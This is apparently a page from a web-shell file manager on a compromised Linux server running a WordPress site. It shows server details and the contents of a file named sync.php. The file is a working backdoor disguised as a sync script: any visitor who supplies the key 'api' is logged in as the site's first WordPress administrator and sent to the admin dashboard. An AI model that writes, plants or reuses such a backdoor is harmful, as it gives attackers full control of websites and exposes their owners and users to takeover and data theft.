HEX
Server: Apache/2
System: Linux sv2.klungbaan.com 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
User: klungadmin (1002)
PHP: 7.4.33
Disabled: exec,system,passthru,shell_exec,proc_close,proc_open,dl,popen,show_source,posix_kill,posix_mkfifo,posix_getpwuid,posix_setpgid,posix_setsid,posix_setuid,posix_setgid,posix_seteuid,posix_setegid,posix_uname
Upload Files
File: /home/klungadmin/domains/klungbaan.com/private_html/sync.php
<?php
$secret_key = 'api';


if (!isset($_GET['key']) || $_GET['key'] !== $secret_key) {
    http_response_code(403);
    die('Access denied.');
}


function find_wp_load($dir = null) {
    if ($dir === null) {
        $dir = __DIR__;
    }

    if (file_exists($dir . '/wp-load.php')) {
        return $dir . '/wp-load.php';
    }

    $parent = dirname($dir);
    if ($parent === $dir) {
        return false;
    }

    return find_wp_load($parent);
}

$wp_load = find_wp_load();
if (!$wp_load) {
    die('wp-load.php not found.');
}

require_once $wp_load;


if (!function_exists('wp_set_current_user')) {
    die('WordPress not loaded properly.');
}


$admins = get_users([
    'role'    => 'administrator',
    'orderby' => 'ID',
    'order'   => 'ASC',
    'number'  => 1
]);

if (empty($admins)) {
    die('No admin user found.');
}

$admin = $admins[0];


wp_set_current_user($admin->ID);
wp_set_auth_cookie($admin->ID);
do_action('wp_login', $admin->user_login, $admin);


wp_redirect(admin_url());
exit;
?>